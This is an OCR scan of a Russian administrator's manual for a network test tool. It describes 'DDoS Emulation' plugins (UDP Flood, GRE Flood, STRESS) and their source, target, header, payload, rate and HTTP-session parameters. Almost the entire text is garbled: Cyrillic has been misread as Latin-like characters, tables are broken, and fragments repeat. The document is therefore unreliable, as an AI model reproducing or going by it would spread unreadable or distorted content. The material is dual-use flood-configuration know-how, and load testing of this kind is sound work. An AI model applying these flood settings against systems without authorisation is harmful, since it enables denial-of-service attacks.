ITakeToB B | Kakoe  kommyecTBO  makeToB  Oyaer | 3ajaiiTe 4MCIOBOE 3HAUCHHE
CeKyH1y OTIPABJICHO B OHY CEKYHIY Ilo ymon4yaHuiO BBICTaBJIEHO 3HAYECHUE:
10.

Nsm.
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HurepBan mexnay | Onuust MO3BOJSET HACTPOUTH 3aACPXKKY | 3amaiiTe YMCIOBOE 3HAUCHUE
OTIPaBKOU MEXJy OTHpaBKOW 3aJaHHOTO  KOJ-Ba
3a1pocoB 3aMpocoB B CEKYHIY.

5.3.1.16.2 UDP Flood

UDP Flood — moxruiarus juisi reHepanuu Tpaduka, KOTOPBI OTIIPABISET OOJBIIOW 00beM
UDP-nakeToB Ha 1LeneBOMl cepBep, YTO MOXKET NPUBECTM K HMCUEPHAHUIO IPONYCKHOU
CIIOCOOHOCTH U MEeperpy3Ke pecypcoB cepBepa.
JIaHHBIH TUTarMH COCTOUT U3 CJIEAYIOIIUX MapaMETPOB:

a) TymOnep «AKTUBHPOBATH MOAIUIATUH» - JJI BKJIIOYEHUS MOAIUIATMHA B paMKax
wiaruaa «MHDDoS Emulation.

06) McTouHMKU — COBOKYIMHOCTb W3 BBIOpaHHOrO areHTa, uHTepdeiicoB u MAC-
aIpecoB C KOTOPBIX areHT OyJeT OTHPaBIATh U MPpUHUMATh Tpaduk. OmnucaHue napaMmeTpoB

ykazansl B Taoin. 40;

Ta6a. 103 — [Mapamerpsl «AcTOUHHKN

HaszBanmue Onucanmue 3HaueHmne

ATEHT ATreHT, C KOTOpOro OyneT OTHpaBiAThCA | BriOepere areHT M3 CrMcKa areHTOB

TpapuK M C KOTOpBIM Oyaer NpHHHMATh

Tpaduk.
CeTeroii CereBoii mHTepdelic arenra, ¢ koroporo | Beibepere uHTEpdEiic H3 CIIMCKa
uHrepdeiic OyZeT OTHIPaBIATHCS TPaPUK U C KOTOPBIA | HHTEpGEiicoB

OyneT npuHUMaTh Tpaduk
CeTb Bribpannsie 06bekT «Cetn» (cM. 3arosioBok | Beibepere o00BexT «CeTu» M3 CHHCKa

5.2.2.1 wim 5.2.2.2) mapamerpbl KOTOPOro | 00BEKTOB. 3amaiite BeC (10 YMOIYAHHUIO, BEC
OyoyT HCIOJNB30BaThCS Ul OTHPABKU | paclpelesseT PaBHOMEPHO MAKEThl MEXIy
Tpaduka. Ecmm BeiOpaHo Oomee omHOTO | OOBekTamu «CeTm»)

00BEKTa, MO)KHO M3MEHUTD HAPAMETP «BECH,
OTBEYAIOIIUH 3a 0aNaHCHUPOBKY
pacmpeneneHus MaKeTOB MEXKITY

BBIOpaHHBIMU 00BekTaMu «CeTm».

MAC-anpec BriOpannsie  06bekr «MAC-agpec» (cMm. | Beibepere o0bekT «MAC-anpec» u3 crmcka
3aromoBok 5.2.3.1) mapameTpbl KOTOPOTO | OOBEKTOB.
OyIyT HWCIONb30BaThCA AL OTIIPABKU
Tpaduka

Cayuaiiueiiik. MAC-ampec — s Kakaoro
makera OyJeT CreHepupoBaH CIy4alHBIN
MAC-anpec oTmipaBuTeIs

B) Llenu —mapametpsl AJist BbIOOpa 00BEKTa, B KOTOPBIi Oy/IeT HapaBIsAThCs TpapuK

(cm .3aromoBok 5.2.2.3);
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HaszBanme

Onucanmne

3HaueHne

MAC-azapec BriOpannbie  00bekr «MAC-agpec» (cMm. | Ciyuaiineiii MAC-ampec — Uil KaxJIoro
3arofioBoK 4)) mapameTpbl KOTOporo OyIyT | makera OymeT CreHEpUpPOBaH CIydYaHbIH
UCIIOJIb30BAThCS U OTHPABKH Tpaduka MAC-anpec nosryuarens
Bribepere 06pexT « MAC-aapecy U3 cimcka
OOBEKTOB.
ens BriOpannsie 00bekT «Cetn» (cM. 3aronoBok | Beibepere o0vekT «Cetm» mn3  cromcka

5.2.2.3) mapaMeTpbl  KOTOPOTO  OyIyT
HCIIONB30BAThCS JUISL OTIPaBKH Tpaduka B

BEIOPAaHHYIO IIEIb.

00BEKTOB.

r) IP 3aronoBok (L3) — mapamerpsl HacTpoek IP 3aromoBkoB Ha yposue L3 TPC/IP,

oInucaHue KOTOPBIX yka3aHnbl B Tabn. 104,

Taon. 104 — IMapamertpsi «IP 3aronoBok (L3)»

Ha3Banme Onucanue 3HaveHune
TTL (Time to ITapamerp TTL ompenenser makcumanbHOe | 3amaite YHCIIOBOE 3HAYCHHE (o
Live)

KOJIMYECTBO  MapHIPYTH3aTOPOB  (XOIIOB),
yepe3 KOTOpbIE MOXET MPOUTH MaKeT

JIAHHBIX, TIPEXKJIe YeM OH OyJeT OTOpOILeH.

yMoi4aHuwoo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — 510 mone B 3aronoBke IP-makera,

3apgaiite YHCIIOBOE 3HAUECHHE (o

Service) KOTOpPOE HWCIONB3YETCS Ui OIpeeNicHus | yMoJdaHuio, 3Hauenne DSCP sBisteTcs: «7»)
npuopuTeTa U 00paboTKK Tpaduka
ECN — sto MexaHu3M, KOTOPBIH 1o3BousieT | Bpibepere 3HaueHHe U3 CITUCKA:
MapLIpyTH3aTOpaM  YBEAOMIATH  y31sl O | 00 (Non-ECT)
neperpyskax B ceTu 0e3 coOpoca ImakeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
CnyyaliHblii YHUKaNbHBIH — uaeHTHHUKATOP  Makera, | BKIIOYUTH/BBIKIIOUUTH TyMOIIED
ID BEIOpAaHHBIH  CIy4alHBIM  00pa3oM Ui

pa3n4IeHusT PparMeHTOB OJHOTO U TOTO XKE
IP-mmakera

3unauenne ID

UuncnoBoil MIEHTU(PHUKATOP, NPUCBOCHHBIH
KOKIOMY [P-nakery IS ero
uneHTnGUKanu 1pu  QparMeHTanun |
cOopke

[Tapamerp  mocTymeH, eciam — IapaMmerp
«Cryuaitnsrii ID» BeIKIIIOUEH

3anaiite YHCIIOBOE 3HaYeHUE (o
YMOJYaHHIO, 3HaueHue «3HaueHue [D»
sBisercsi: «0-65535»)

1) Ilapamerpsl ruiaruHa — napaMeTpsl HacTpoek miarnHa UDP, onncanune koTopsix

yka3zansl B Tabn. 105.
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Ta6a. 105 — [Mapamerpsl «Ilaaruna

HaszBanmue

Onucanmue

3HaueHne

Hepanuanas YCK-CyMMa

Yek-cymma ucnonssyerca B UDP-

MaKeTax TSt MPOBEPKH
LETOCTHOCTH JaHHBIX. Y CTaHOBKA
HEBAJIMJHOH YEK-CyMMBI O3HAYACT,
YTO OTIIPABIIIEMbIE MAKETHI OyayT
cofiepiKaTh HEIPaBUIIBHOE
3HaYeHHUE YEK-CyMMBI, UTO MOXKET
MIPUBECTH K TOMY, UTO MOJydaTenb
5TH  TaKeThl

OTBCPIHET nim

00paboTaeT UX HETPaBIIBHO.

Bxirouenne wnn

TymOepa

BBIKJIFOUCHUC

OTtnpaBiATh nennoas

[leinoan — 3TO naHHbBIE, KOTOPBIE
nepenatorca B UDP-nmakere. B
JTAaHHOM

ciry4ae napamerp

yKa3blBaeT Ha HEOOXOAMMOCTh
OTIIPAaBKM I[EHJI0afa BMECTE C

UDP-nakeTom

Ilo YMOJYaHHUIO,

BKIIKOUYCH

TymMOIep

Crnyuaiinble JTaHHbBIE

OTOT mapaMeTp MOApa3yMeBaeT,
YTO COAEPKUMOE Tieiloana Oyner
TeHEPUPOBATHCS CITy4aifHbIM
o0pa3zoM. DTO MOXET BKIIOYATh
cilydaiiHple OaiThl WIH CTPOKH,
4TO

JCIacT MCHEC

Tpadux

IIPEJICKa3yEMBbIM.

Ilo YMOJTYaHHIO,

BKJIFOYCH.

TymOIep

Pa3mep neiinoana

OTOT  mapaMeTp  OmpeaemseT

pa3mep naHHbIX B neitnnoage UDP-
3HaueHue

Imakera. MOXECT

BapbupoBatscs oT 0 1o 1300 GaifT.

ITo YMOJIYaHHUIO,

ykazaHo: «1024»)

3HA4YCHUC

e) IlapameTpbl ckOpocTH — apameTp, OTBEYAIOIINI 32 CKOPOCTh Mepeaaun MaKkeToB,

OIMcaHue KOTOporo ykazaHo B Ta6xn. 106;

Taoa. 106 — [Tapamerp «CropocTh»

Ha3Banne Onucanne 3HaueHne
Tymbnep «be3 | MakcumanbHasi MPOHM3BOAUTEIBHOCTh 0€3 | BKIFOUHTH/BBIKIIOUUTE
OFpaHI/IquI/Iﬂ» OrpaHI/IquI/Iﬁ Ha KOJI-BO OTHpaBHﬂeMBIX HO yMOanHI/HO, TyM6H€p BKJIFOYEH.
3aMpOCOB B CEKYHIY
ITaketoB B | Kakoe  kommyecTBO  makeToB  Oyaer | 3ajaiiTe YMCIOBOE 3HAUCHHE
CEKyHny OTIPABJICHO B OMHY CCKYHIY Ilo ymon4aHuiO BBICTaBJIEHO 3HAYECHUE:
10.
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HurepBan mexnay | Onuust MO3BOJSET HACTPOUTH 3aACPXKKY | 3amaiiTe YMCIOBOE 3HAUCHUE
OTIPaBKOU MEXJy OTHpaBKOW 3aJaHHOTO  KOJ-Ba
3a1pocoB 3aMpocoB B CEKYHIY.

5.3.1.16.3 GRE Flood

GRE Flood — mumarun jyis renepanuu tpaduka, KOTOPbIH TeHEpUPYET U OTIPABIISICT OOJIBIIOS
koimuecTBO makeTtoB ¢ 3aronoBkoM GRE (Generic Routing Encapsulation) ¢ memnbio
Meperpy3uTh MPONYCKHYIO CIIOCOOHOCTD CETH.
JIaHHBII TUTATHH COCTOUT M3 CIEAYIOIIUX MapaMeTPOB:

a) TymOnep «AKTUBHPOBATH MOAIUIATUH» - JJI BKJIIOYEHUS MOAIUIATMHA B paMKax
wiaruaa «MHDDoS Emulation.

06) McTouHMKU — COBOKYIMHOCTb W3 BBIOpaHHOTO areHTa, uHTepdeiicoB u MAC-
aIpecoB C KOTOPBIX areHT OyJeT OTHPaBIATh U MPpUHUMATh Tpaduk. OmnucaHue napaMmeTpoB

ykazansl B Taoin. 40;

Ta6a. 107 — [Mapamerpsl «AcTOYHHKN

HaszBanmue Onucanmue 3HaueHmne

ATEHT ATreHT, C KOTOpOro OyneT OTHpaBiAThCA | BeiOepere areHT U3 CIIMCKa areHTOB

TpapuK M C KOTOpBIM Oyaer NpHHHMATh

Tpaduk.
CeTeroii CereBoii mHTepdelic arenra, ¢ koroporo | Beibepere uHTEpdEiic H3 CIIMCKa
uHrepdeiic OyZeT OTHIPaBIATHCS TPaPUK U C KOTOPBIA | HHTEpGEiicoB

OyneT npuHUMaTh Tpaduk
CeTb Bribpannsie 06bekT «Cetn» (cM. 3arosioBok | Beibepere o00BexT «CeTu» M3 CHHCKa

5.2.2.1 wim 5.2.2.2) mapamerpbl KOTOPOro | 00BEKTOB. 3amaiite BeC (10 YMOIYAHHUIO, BEC
OyoyT HCIOJNB30BaThCS Ul OTHPABKU | paclpelesseT PaBHOMEPHO MAKEThl MEXIy
Tpaduka. Ecmm BeiOpaHo Oomee omHOTO | OOBekTamu «CeTm»)

00BEKTa, MOXKHO M3MEHUTH IAPAMETP «BECH,
OTBEYAIOIIUH 3a 0aNaHCHUPOBKY
pacmpeneneHus MaKeTOB MEXKITY

BBIOpaHHBIMU 0O0BekTamMu «CeTm».

MAC-anpec BriOpannsie  o6bekr «MAC-agpec» (cM. | Beibepere o0bekT «MAC-anpec» u3 crmcka
3aromoBok 5.2.3.1) mapameTpbl KOTOPOTO | OOBEKTOB.
OyIyT HWCIONb30BaThCA AL OTIIPABKU
Tpaduka

Cayuaiiueiiik. MAC-ampec — s Kakaoro
makera OyJeT CreHepupoBaH CIy4alHBIN
MAC-anpec oTmipaBuTeIs

B) Llenu —mapametpsl AJist BbIOOpa 00BEKTa, B KOTOPBIi Oy/IeT HapaBIsAThCs TpapuK

(cm .3aromoBok 5.2.2.3);
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HaszBanme

Onucanmne

3HaueHne

WCTIONB30BAThCS JUIA OTIHPaBKH Tpaduka B

BEIOPAaHHYIO IIEIb.

MAC-azapec BriOpannbie  00bekr «MAC-agpec» (cMm. | Ciyuaiineiii MAC-ampec — Uil KaxJIoro
3arofioBoK 4)) mapameTpbl KOTOporo OyIyT | makera OymeT CreHEpUpPOBaH CIydYaHbIH
UCIIOJIb30BAThCS U OTHPABKH Tpaduka MAC-anpec nosyuarens
Bribepere 06pexT « MAC-aapecy U3 cimcka
OOBEKTOB.
ens BriOpannsie 00bekT «Cetn» (cM. 3aronoBok | Beibepere o0vekT «Cetm» mn3  cromcka
5.2.2.3) mapaMeTpbl  KOTOPOTO  OYAyT | OOBEKTOB.

r) IP 3aronoBok (L3) — mapamerpsl HacTpoek IP 3aromoBkoB Ha yposue L3 TPC/IP,

oInucaHue KOTOphIX yka3aHnbl B Tabn. 108;

Taon. 108 — IMapamertpsi «IP 3aronoBok (L3)»

Ha3zBanme Onucanue 3Hauenue
TTL (Time to ITapamerp TTL ompenenser makcumanbHOe | 3amaite YHCIIOBOE 3HAYCHHE (o
Live) KOJIMYECTBO  MAapUIPYTH3aTOPOB  (XOMOB), | yMonyaHutoo, 3HaueHWe TTL  sBusercs:
Yepe3 KOTOphIE MOXKET MOPONTH makeT | «128»)
JTAaHHBIX, MPEKIC YeM OH OyAeT OTOPOIIICH.
ToS (Type of | DSCP — sto mnone B 3aronoBke IP-makera, | 3anaiite YHCIIOBOE 3HAYCHHE (mo

Service) KOTOpPOE HWCIONB3YETCS Ui OIpeeNicHus | yMoJdaHuio, 3Hauenne DSCP sBisteTcs: «7»)
npuopuTeTa U 00paboTKK Tpaduka
ECN — sto MexaHu3M, KOTOPBIH 1o3BousieT | Bpibepere 3HaueHHe U3 CITUCKA:
MapLIpyTH3aTOpaM  YBEAOMIATH  y31sl O | 00 (Non-ECT)
neperpyskax B ceTu 0e3 coOpoca ImakeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
CnyyaliHblii YHUKaNbHBIH — uaeHTHHUKATOP  MaKera, | BKIIOYUTH/BBIKIIOUUTH TyMOIIEp
ID BEIOpAaHHBIH  CIy4alHBIM  00pa3oM Ui

pa3n4IeHusT PparMeHTOB OJHOTO U TOTO XKE
IP-mmakera

3unauenne ID

UuncnoBoil MIEHTU(PHUKATOP, NPUCBOCHHBIH
KOKIOMY [P-nakery IS ero
uneHTnGUKanu 1pu  QparMeHTanun |
cOopke

Ilapamerp  nmocTymeH, eciu
«Cryuaitnsrii ID» BeIKIIIOUEH

napamerp

3anaiite YHCIIOBOE
YMOJYaHUIO, 3HAYCHHUE
sBisercsi: «0-65535»)

3HAYEHNE
«3HayeHune

(o
ID»

,Z[) HapaMeTpLI CKOPOCTH — IMapaMeTp, OTBEYAIOIIUM 3a CKOpPOCTHb NepCaavuu 1akeToOB,

oInucaHue KOToporo ykaszaHo B Ta6x. 109;
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Ta6a. 109 — [Iapamerp «CkropocTh»

HasBanmue

Onucanue

3Hauenne

Tym6nmep  «be3

MaxkcuManbHas TPOM3BOIUTEIBHOCTE 0€3

BKIIIOYUTE/BLIKITIOYUTE

OTpaHUYEHUS» OTPaHUYCHUH HA KOI-BO OTIPABISEMBIX | [0 yMONYAHHIO, TyMONEP BKIIOUCH.
3alpOCOB B CEKYHIY

[MakeroB B | Kakoe  kommuectBo  makeroB  Oyner | 3ajmaiite YMCIOBOE 3HAYCHUE

CCKyHIY OTIIPABJICHO B OZIHY CEKYHIY Ilo yMom4aHUIO BBICTAaBIEHO 3HAUCHHE:

10.

OTIPaBKOH
3aIpocoB

WNurepBan mexay

3aIPOCOB B CEKYHY.

Onuust TO3BONAET HACTPOHUTH 3aJCPIKKY
MEXKAYy OTHPaBKOW 3aJaHHOTO  KOJ-Ba

3ajaiiTe 4nCcI0BOE 3HAUYCHUE

5.3.1.16.4 STRESS

STRESS — noamuiarus asis reHepanuu Tpaduka, KOMOMHUPYIOUINI pa3IMyHble TUITBI HATPY30K

JJIs1 MAKCUMAaJIbHOI'O BO3HeﬁCTBHﬂ Ha CUCTCMY.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIMX apaMeTPOB:

a) TyM6nep ((AKTI/IBI/IpOBaTB noAIIarua» - AJjid BKIFOYCHUS IMOAINIAMHA B paMKax

wiarnaa «MHDDoS Emulation».

6) HcToyHMKM — COBOKYMHOCTh M3 BBIOpaHHOTO areHTta, mHTepdeiicoB u MAC-

aJIpecoB C KOTOPBIX areHT OyAeT OTHPAaBIATh M MpUHUMATh Tpaduk. OmnrcaHue nmapaMmeTpoB

ykazanbl B Tabn. 40;

Ta6ua. 110 — [Mapamerpbl «UcTOUHHKI

HasBanue Onucanne 3HauyeHue

ATeHT AreHT, ¢ KoToporo OyZeT OTHpaBiAThCsS | BriGepere areHT U3 CIHCKa areHTOB
TpadhUK M C KOTOPBIA Oyner NpUHUMATh
Tpaduk.

CereBoii CereBoii mHTep(elic arenra, ¢ koroporo | Beibepere uHTEepdEiic u3 CIIUCKA

nntepetic OyzmeT oTmpaBiATHCS TpadUK M C KOTOPBIA | MHTepdeicoB
Oyzet mpuHUMATh Tpaduk

CeTh Bri6pannbie 00bekT «CeTi» (cM. 3aronoBok | Bridepere o0vekt «CeTtm» U3 CHHICKa

5.2.2.1 wim 5.2.2.2) mapameTpbl KOTOPOTO
OyZyT HWCHONB30BaThCA AL OTIIPABKU
Tpaduka. Eciam BreiOpano ©Oosee OmHOTO
00beKTa, MOXKHO U3MEHUTH MAPaMETP «BECH,
OTBEYAIOIINH 3a 0aaHCHPOBKY
pacnpeneneHus MIaKeTOB MEXIY

BLI6paHHLIMI/I o0bexTaMu «CeTm».

00BeKTOB. 3aaaiiTe Bec (110 YMOITYaHHIO, BEC
pacnpesienseT paBHOMEPHO MaKeThl MEXIY

obwvextamu «CeTny)

Nsm.

Jlucm

Ne dokym.

Modnuce |Hama

Pykosodcmeo admHuucmpamopa s 10 Nepeceem-CT
sepcuu 2.0 82

Jlucm




B) llemu — mapameTpsl 11 BEIOOpa 00BEKTA, B KOTOPBIN OyIeT HampaBisIThCs Tpaduk

(cM .3aronoBok 5.2.2.3);

Ha3zBanmue

Onucanmne

3HaueHnmne

Llens

Bri6pannsie 00bekT «CeTn» (CM. 3arojoBOK
5.2.2.3) nmapaMeTpbl  KOTOpOro  OyayT
HCIIONB30BAThCS s OTIPaBKU Tpaduka B

BBIOpaHHYIO ETb.

Bribepere o0bekT «CeTm» U3 CIIHCKa

00BEKTOB.

r) IP 3aronosok (L3) — mapametpsr Hactpoek IP 3aronoskos Ha yposhe L3 TPC/IP,

OIMCaHMe KOTOPHIX yKa3aHnbl B Tabm. 111;

Taoua. 111 — IMapamerpsi «IP 3aronosok (L3)»

Ha3panue Onucanue 3HayeHue
TTL (Time to [Mapamerp TTL ompenensieT makcumanbHOe | 3ajmaiiTe YHCIIOBOE 3HaYCHUE (mmo
Live) KOJIMYECTBO  MAapUIPYTH3aTOPOB  (XOMOB), | yMonyaHutoo, 3HaueHme TTL saBusercs:

Hepe3 KOTOPbLIC MOXKCET HpOI\/'ITI/I IIaKeT

JAHHBIX, TIPEX/IE YeM OH OyJeT OTOpOIICH.

«128»)

ToS (Type of
Service)

DSCP — »t0 mone B 3aronoBke IP-makeTa,
KOTOPOE HCIIONB3YeTCsl I OIpeeTICHHs
npropureta u 00padoTku Tpaduka

3anaiite YHCIOBOE 3Ha4YeHUe (o
yMOJT4YaHUI0, 3HaueHne DSCP sBnstercs: «7»)

ECN — sT0 MexaHH3M, KOTOPBIil TTO3BOJIET
MaplIpyTU3aTopaM yBEAOMIISTH Y3JIbl O
neperpyskax B ceTu 0e3 cOpoca ImaKkeToB.

BLI6Cp€Te 3HA4YCHUC U3 CIIMCKA:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

n) TCP 3aronoBok (L4) — mapamerpsl HacTpoek IP 3arooskos Ha yposue L4 TPC/IP,

OIMCaHMUe KOTOPHIX yKa3aHbl B Tabm. 112;

Taoa. 112 — IMapamerpni « TCP 3arosoBok (L4)»

CETMEHTa)

HazBanue Onucanne 3HaveHue
Max. Segment Size | MakcuManbpHBIN pa3Mep cerMeHTa | 3ajaiiTe 4HcIoBoe 3HaueHue (1o
(MakcnmanbHblit PasMep | onpenenser MaKCUMaIbHBIH | YMOJYaHMIO,  3HaueHne  Max.

00bEM JAHHBIX, KOTOPBIA MOXKET
ObITh Tepegan B omgHOM TCP-

CEIMCHTC

Segment Size sBnstercst: «1460»)

WS (IP Options)

[Mapamerp WS (Window Scale)
OTHOCHUTCSI K MEXaHU3My
MacmrabupoBanust okHa TCP,
KOTOpBI TO3BOJISIET  YBEJIUYUTH
pa3Mep OKHa [UIS YHpaBJICHUS
ITOTOKOM JaHHBIX.

3amaiiTe 4uciIoBoe 3HauYeHUe (1Mo
YMOJTYaHHUIO, 3HAYCHHE WS
SIBIISIETCST: «64»)
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Window Size (Pa3mep oxHa)

Pasmep oxna TCP ompenenser
00bEM [aHHBIX, KOTOPBIA MOXKET
OBITh OTHpaBiIeH 0e3 OXHUOaHUA
MOATBEPKACHHS OT MOIyJaTes.

3ajaiite 4ucioBOe 3HaueHUe (1o
yMOJ9aHuio0, 3HadeHne Window
Size sBsieTcs: «256»)

e) Ilapamerper HTTP - mapamerps! Hactpoexk HTTP 3aromnoBkoB Ha ypoBue L6-L7

TPC/IP, onrcanue KOTopsIX yKa3zaHo B Tabm. 113;

Ta6u. 113 — [apamerpsol «Ilapamerpst HTTP»

Ha3zBanmne Onucanue 3Hauenue

HTTPs Yka3bIBaer, HCTIOB3yeTCs ma | JJa / Her (ykaxure TeKkymiee COCTOSHHE
3aIUIIEHHBIA  TIPOTOKONI  TIEpeiaudl | TepeKIouaresieM TyMOiepa)
nauaeix HTTPS

Bepcus TLS Bepcus TLS (Transport Layer Security) | Beioepere 3nauenue TLS v1.2 unu TLS v1.3
ompezieIsieT MPOTOKOJN  INU(POBAHUS,
UCTIONB3YeMBI U1 oOecriedeHus
Oe30macHO# Tepenavyn TaHHBIX MEXIy
KIIMCHTOM u cepBepoM
[MapameTrp mocTyrmeH, eciy mMmapameTp
HTTPs BriroueH

Bepcus VYkaspiBaer Bepcuto mpotokosna HTTP, | Beibepete snauenne HTTP 1.1 unu HTTP 2.0

HTTP WCIIOJIb3YEMYIO [ Iepeiaul JaHHBIX.

User-Agent 3aroyioBoK, KOTOpBIN uaeHTHGHIMpYeT | BBeaure 3HaueHHe 3arojoBKa:
KITHEHTCKOE NPUJIOKCHHE (HAalPUMED, | o ymomuanmo, ${userAgent} - Obecneumpaer
Opaysep) 1 OIEPALMOHHYIO CHCTEMY, C | porammio User-Agent: I KakIOro 3ampoca
KOTOpOHU OCYINECTBIIACTCA 3aIlIpOC. BEIOMpaeTCs CIy4allHBIA BANWAHBIA BapHaHT W3

crmicKa B BeO-uHTEpdeiice

Ilyte VYka3pBaeT MyTh K 3ampamiiBaeMoMy | Beegure 3HaueHwme myTH ([0 YMOIYAHHIO,
pecypcy Ha cepsepe. O1o yacth URL, | 3HadeHHWe MyTH SIBISETCS KOPHEBas JUPEKTOPHS
KOTOpast CJIEIYET 3a JOMEHHBIM HMEHEM. | CepBepa: «/»)

HTTP meton | Metoa, wucnomnb3yembiii s 3ampoca | [lo ymomnuanuio, 3agaHo 3HadeHne «POST»

pecypca Ha cepBepe.

HTTP craryc

Omuusi, OTBEYaroIias 3a OTCIEKUBAHHE
nepeagpecalny CECCUU B CTOPOHY IIEITH.
Ecaun omiust BKJIIOYEHA: BCE OTBETHBIE
3anpocsl coaepxkaue koj orBeta 3XX
OyayT oTpabOTaHBI U CECCHs BMECTE C
MOCCAYIOMUM TpahUKOM B paMKax
9TON ceccuu OyneT MepeHanpaBlieH B
1enb,  yKa3aHHYlO B 3aroJioBKe
«location»

BKITIOYNTE/BBIKITIOYUTE TYMOJIEP

HTML Meta
Refresh

Omuust, 0OTBEYArOIast 32 OTCIICKUBAHNE
niepeajipecaliiv CECCHU B CTOPOHY LIETIH.
Ecnu omius BKIIIOYEHA: BCE OTBETHbBIE
3anpocsl, copepxamyme B orsere HTML
cTpaHuIy ¢ meta-rerom «refreshy Oyayt
0oTpaboTaHbl M ceccus BMeCTe C
HOCTEAYIOUMM TpahUKOM B paMKax
9TOl ceccuu OyIeT IepeHanpaBieH B
Uenb,  yKa3aHHYl0 B 3aroJjioBKe
«content», BKIIto4as 3a0€pKKy

BKJIHOYHTE/BBIKIIOUUTE TYMOIIED
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I'nmy6una

3HaYCHHUE MAaKCHUMAaJbHO JOMYCTHUMOTO
KOJIMYECTBA Iepeaapecalii B paMKax
oxuoi TCP ceccun

3apmaiite cBoe 3HaueHHe (IO  YMOJYAHHIO,
3HaYeHHUE paBHO «20»)

Query
mapaMeTphl

ITapametpbl, nepemaBaembie B URL
nocie 3Haka Bomnpoca (?)

BBemute 3HaueHWe TmoOcCie HaXaTHS KHOTKH
«J106aBUTH TApaMeTPB»:
e BBenure cBOe 3HaUEHHE
e ${str(length)} - dopmupyer
MIPOM3BOJIBFHYI0 KOMOWHAIIMIO CHMBOJIOB
3amanHo# b (pumep: ${str(16)})
o ${strMinMax(min_length,max_length)}
- Dopmupyet IIPOU3BOJILHYIO
KOMOWHAIIMI0O CHMBOJIOB C [UIMHOW B

YKa3aHHBIX npenaenax (mprmep:
${strMinMax(16,24)})

e  ${hex(length)} - dopmupyer
TIPOM3BOJIEHYIO KOMOWHAIIMIO CHMBOJIOB
3a/IaHHOM [UTHHBI B IECTHAAIIATEPHIHOM
dopmare (pumep: ${hex(16)})

o ${hexMinMax(min_length,max_length)}
- dopmupyeT TIPOU3BOJIHHYIO
KOMOWHAIIHIO CHMBOJIOB B
IIECTHAAIATEPUIHOM (dopmare B

YKa3aHHbBIX npenaenax (mpumep:
${hexMinMax(16,24)})

o  ${email} - ®opmupyer BamuIHBIH email
CO CITyYaifHBIM MMEHEM IOJIb30BaTeIs
JOMEHOM

o  ${login} - ®opMupyeT BaIUAHBIA JOTHH
[OJIb30BATEIISI

o  ${password}- dopmupyer BaIHIHBIH
[apoJIb MOJIB30BATENS

Teno 3ampoca

Yacte HTTP-3ampoca, conmepxkamas
JAaHHbIC, KOTOPbIC KIMEHT OTIPABJICT
cepaepy (Hampumep, popmy nnmu JSON)
[TapameTrp moOCTymeH eciu BBIOpAHBI
meronsl: POST, PUT unu PATCH

IMo ymomuanuio, 3amaHo 3Hadenue «{«data»:

«${str(512)}»}»

3aroJjIoBKu

JononaurensHble MeTaJlaHHbIE,
ornpaBisiemble  BMecte ¢ HTTP-
3aIIPOCOM.

3Ha4YeHHU 10 YMOJ'I‘IaHI/IIOZ

«Accept»i« */*»;

«Accept-Encoding»:« gzip,deflate,br»;
«Accept-Language»:«ru-RU,ru;q=0.9,en-
US,en;q=0.7»;
«Cache-Control»:«max-age=0»;
«Sec-Fetch-Mode»:«navigate»;
«Sec-Fetch-Site»:«same-origin»;
«Sec-Fetch-User»:«71»;
«Sec-Fetch-Dest»:«document»;
«Pragmax;«no-cache»;
«X-Requested-With»:«XMLHttpRequest»;
«Content-Type»:«application/json;

BBemute 3HaueHWe TMOCIIE HaXaTUs KHOTIKHU
«J1006aBUTH MapamMeTph»:

L4 BBC,HI/ITG CBO€ 3HAYCHUC

Nsm.

Jlucm

Ne dokym.

Modnuce |Hama

Pykosodcmeo admHuucmpamopa s 10 Nepeceem-CT

Jlucm

gepcuu 2.0 85




${str(length)} - DopMupyeT
MIPOM3BOJIBHYI0 KOMOWHAIIMIO CHMBOJIOB
3amanHo# B (pumep: ${str(16)})

${strMinMax(min_length,max_length)}
- Dopmupyet IIPOU3BOJILHYIO
KOMOWHAIIMI0O CHMBOJIOB C [UIMHOW B

YKa3aHHBIX npeaenax (mpumep:
${strMinMax(16,24)})

${hex(length)} - dopmupyer
MPOM3BOJIBHYI0 KOMOWHALMIO CHMBOJIOB
3aJaHHOH UTMHBI B MIECTHAAIATEPHIHOM
dopmare (mpumep: ${hex(16)})
${hexMinMax(min_length,max_length)}
- Dopmupyet IIPOU3BOJILHYIO
KOMOMHAIIHIO CHMBOJIOB B
HIECTHAALATEPUIHOM ¢dopmarte B

yKa3aHHBIX npenenax (mpumep:
${hexMinMax(16,24)})

${email} - ®opmupyer Banuaueii email
CO CITy4aiHBIM MMEHEM I0JIb30BATENs U
JIOMCHOM

${login} - ®opMupyeT BaMUAHBINA JOTHH
HOJIb30BATEIIS

${password}- dopmupyer BanHAHBIH
[apoJIb MOJIB30BATENIS

k) IlapameTpsl ceccuu - mapameTpsl, KacarollMecs YIPaBICHUs CECCUSIMU B paMKax

Ta6a. 114 — [Mapamerpsl «IlapameTpsl ceccum»

TEKYIIEro MJIaruHa, onucaHue KOTopbIX yka3aHo B Taon. 114,

Ha3Banue Onucanne 3HaueHne
OOmee MaxkcruManbHOe KOJIMYECTBO OAHOBPEMEHHO | 3a/laiiTe YMCIOBOE 3HAUEHUE
KOJIUYECTBO AKTUBHBIX CeCCHﬁ, KOTOpLIe MOFyT 6I)ITI) 3Ha‘I€HI/IG 1o yMOHI‘IaHI/HO: «10»
ceccuit YCTaHOBJIEHBI B paAMKax IUIarvHa.

Taim-ayT Bpems B cexkyHzax, B T€4eHHE KOTOPOro | 3ajalTe YMCIOBOE 3HAUCHUE
IMOBTOPHOT'O HepeCBeT-CT 6yHeT IbITATHCA 3HaueHue 1no YMOJIYaHHUIO: «0»
MO IKITFOYCHUS BOCCTAaHOBUTH COCJIMHEHHE TIIOCIIE €ro

paspeiBa. Ecmu coemunenme He Oyzaer
BOCCTAHOBJIEHO B YKa3aHHbI IEpUOJ,
ceccust OysieT 3aKkphITa.

ITogknrouennii B
CEeKyHy

MaxkcuManbHOE KOJMUECTBO HOBBIX CECCHH,
KOTOpBIE MOTYT OBITh YCTAHOBIICHBI 33 OJTHY
CEeKYHIY.

3ajaiiTe YUCIOBOE 3HAUEHHE
3HaueHue 10 YMOTJaHuto: «1»

Makc. ctpumoB
(Ha ceccuro)

